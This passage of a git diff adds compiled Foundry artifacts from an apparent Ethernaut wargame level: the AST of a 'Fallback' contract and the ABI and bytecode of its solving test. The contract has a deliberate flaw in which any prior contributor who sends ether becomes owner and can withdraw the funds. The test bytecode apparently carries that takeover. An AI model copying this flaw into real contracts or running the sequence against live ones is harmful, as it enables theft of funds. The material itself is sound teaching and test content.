","typeString":"type(address payable)"},"typeName":{"id":52334,"name":"address","nodeType":"ElementaryTypeName","src":"786:8:77","stateMutability":"payable","typeDescriptions":{}}},"id":52337,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"786:14:77","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":52338,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"801:8:77","memberName":"transfer","nodeType":"MemberAccess","src":"786:23:77","typeDescriptions":{"typeIdentifier":"t_function_transfer_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256)"}},"id":52344,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"786:46:77","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52345,"nodeType":"ExpressionStatement","src":"786:46:77"}]},"functionSelector":"3ccfd60b","implemented":true,"kind":"function","modifiers":[{"id":52332,"kind":"modifierInvocation","modifierName":{"id":52331,"name":"onlyOwner","nameLocations":["766:9:77"],"nodeType":"IdentifierPath","referencedDeclaration":52284,"src":"766:9:77"},"nodeType":"ModifierInvocation","src":"766:9:77"}],"name":"withdraw","nameLocation":"748:8:77","parameters":{"id":52330,"nodeType":"ParameterList","parameters":[],"src":"756:2:77"},"returnParameters":{"id":52333,"nodeType":"ParameterList","parameters":[],"src":"776:0:77"},"scope":52371,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52370,"nodeType":"FunctionDefinition","src":"845:127:77","nodes":[],"body":{"id":52369,"nodeType":"Block","src":"872:100:77","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":52361,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52354,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":52351,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"890:3:77","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52352,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"894:5:77","memberName":"value","nodeType":"MemberAccess","src":"890:9:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":52353,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"902:1:77","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"890:13:77","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52360,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":52355,"name":"contributions","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52251,"src":"907:13:77","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":52358,"indexExpression":{"expression":{"id":52356,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"921:3:77","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52357,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"925:6:77","memberName":"sender","nodeType":"MemberAccess","src":"921:10:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"907:25:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":52359,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"935:1:77","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"907:29:77","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"890:46:77","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":52350,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"882:7:77","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":52362,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"882:55:77","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52363,"nodeType":"ExpressionStatement","src":"882:55:77"},{"expression":{"id":52367,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52364,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52253,"src":"947:5:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":52365,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"955:3:77","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52366,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"959:6:77","memberName":"sender","nodeType":"MemberAccess","src":"955:10:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"947:18:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52368,"nodeType":"ExpressionStatement","src":"947:18:77"}]},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":52348,"nodeType":"ParameterList","parameters":[],"src":"852:2:77"},"returnParameters":{"id":52349,"nodeType":"ParameterList","parameters":[],"src":"872:0:77"},"scope":52371,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Fallback","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52371],"name":"Fallback","nameLocation":"66:8:77","scope":52372,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":77} \ No newline at end of file diff --git a/contracts/out/Fallback.t.sol/TestFallback.json b/contracts/out/Fallback.t.sol/TestFallback.json new file mode 100644 index 000000000..18fbe9b78 --- /dev/null +++ b/contracts/out/Fallback.t.sol/TestFallback.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b5061644a806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001c30565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001c73565b620001b3620001fa36600462001d5f565b62000a2b565b6200020a62000bf6565b604051620001c7919062001e32565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001ef5565b620001da6200025736600462001fc2565b62000ef8565b6200019a62001088565b62000271620012db565b604051620001c7919062001fda565b620001b36200029136600462002040565b620013b0565b62000237620014cf565b620002b8620002b23660046200205e565b620015c9565b6040519015158152602001620001c7565b6200027162001759565b6200019a6200182e565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620018c7565b620001da6200199b565b6200019a6200032f36600462001fc2565b620019fb565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f815181106200036757620003676200209a565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b50505050806001815181106200044957620004496200209a565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620013b0565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001be3565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f91908101906200213b565b90508060018251620009829190620022cb565b815181106200099557620009956200209a565b60200260200101515f0151600281518110620009b557620009b56200209a565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab49190810190620022e1565b90505f81848560405160200162000acd92919062002333565b60408051601f198184030181529082905262000aed9291602001620023e1565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002413565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b959190810190620022e1565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001a6f90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002427565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002427565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001cc1565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb4919062002461565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f6200209a565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b5050505060215f9054906101000a90046001600160a01b03166001600160a01b031663d7bb99ba655af3107a40006040518263ffffffff1660e01b81526004015f604051808303818588803b1580156200114a575f80fd5b505af11580156200115d573d5f803e3d5ffd5b50506021546040515f94506001600160a01b039091169250600191508381818185875af1925050503d805f8114620011b1576040519150601f19603f3d011682016040523d82523d5f602084013e620011b6565b606091505b50509050806200124b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f4661696c656420746f2073656e6420457468657220746f2074686520696e737460448201527f616e636500000000000000000000000000000000000000000000000000000000606482015260840160405180910390fd5b60215f9054906101000a90046001600160a01b03166001600160a01b0316633ccfd60b6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001298575f80fd5b505af1158015620012ab573d5f803e3d5ffd5b5050602054602154620012d89350620012d292506001600160a01b039182169116620015c9565b62001b11565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200131e9062002427565b80601f01602080910402602001604051908101604052809291908181526020018280546200134c9062002427565b80156200139b5780601f1062001371576101008083540402835291602001916200139b565b820191905f5260205f20905b8154815290600101906020018083116200137d57829003601f168201915b505050505081526020019060010190620012fe565b5f80604051620013c09062001bf1565b604051809103905ff080158015620013da573d5f803e3d5ffd5b5090505f604051620013ec9062001bff565b604051809103905ff08015801562001406573d5f803e3d5ffd5b508483604051620014179062001c0d565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001451573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620014b0575f80fd5b505af1158015620014c3573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620015b057602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200155c5790505b50505050508152505081526020019060010190620014f2565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001625575f80fd5b505af115801562001638573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001696575f80fd5b505af1158015620016a9573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200170d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200173691908101906200213b565b90506001815111156200174e57600191505062001753565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200179c9062002427565b80601f0160208091040260200160405190810160405280929190818152602001828054620017ca9062002427565b8015620018195780601f10620017ef5761010080835404028352916020019162001819565b820191905f5260205f20905b815481529060010190602001808311620017fb57829003601f168201915b5050505050815260200190600101906200177c565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001885575f80fd5b505af115801562001898573d5f803e3d5ffd5b5050602054602154620018c59350620018bf92506001600160a01b039182169116620015c9565b62001b90565b565b6008545f9060ff1615620018df575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200196e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200199491906200247f565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f62001a08824362002497565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001ac69086908690600401620024ad565b5f60405180830381865afa15801562001ae1573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001b0a9190810190620024de565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001b76575f80fd5b505afa15801562001b89573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001b5f565b6107f7806200251583390190565b610ae58062002d0c83390190565b611e7a80620037f183390190565b610daa806200566b83390190565b6001600160a01b0381168114620012d8575f80fd5b5f805f6060848603121562001c43575f80fd5b833562001c508162001c1b565b9250602084013562001c628162001c1b565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001cb55783516001600160a01b03168352928401929184019160010162001c8e565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001cfb5762001cfb62001cc1565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001d2d5762001d2d62001cc1565b604052919050565b5f67ffffffffffffffff82111562001d515762001d5162001cc1565b50601f01601f191660200190565b5f6020828403121562001d70575f80fd5b813567ffffffffffffffff81111562001d87575f80fd5b8201601f8101841362001d98575f80fd5b803562001daf62001da98262001d35565b62001d01565b81815285602083850101111562001dc4575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001dfd57818101518382015260200162001de3565b50505f910152565b5f815180845262001e1e81602086016020860162001de1565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001ee657603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001ecf57605f1988850301835262001ebc84865162001e05565b948d01949350918c019160010162001e9d565b505050968901969350509087019060010162001e57565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001fb457888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f9e5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001f5a565b5096890196945050509086019060010162001f1c565b509098975050505050505050565b5f6020828403121562001fd3575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200203357603f198886030184526200202085835162001e05565b9450928501929085019060010162002001565b5092979650505050505050565b5f6020828403121562002051575f80fd5b813562001b0a8162001c1b565b5f806040838503121562002070575f80fd5b82356200207d8162001c1b565b915060208301356200208f8162001c1b565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff821115620020ca57620020ca62001cc1565b5060051b60200190565b5f620020e462001da98462001d35565b9050828152838383011115620020f8575f80fd5b62001b0a83602083018462001de1565b5f82601f83011262002118575f80fd5b62001b0a83835160208501620020d4565b8051620021368162001c1b565b919050565b5f60208083850312156200214d575f80fd5b825167ffffffffffffffff8082111562002165575f80fd5b818501915085601f83011262002179575f80fd5b81516200218a62001da982620020ae565b81815260059190911b83018401908481019088831115620021a9575f80fd5b8585015b83811015620022aa57805185811115620021c5575f80fd5b86016060818c03601f19011215620021db575f80fd5b620021e562001cd5565b8882015187811115620021f6575f80fd5b8201603f81018d1362002207575f80fd5b898101516200221a62001da982620020ae565b81815260059190911b8201604001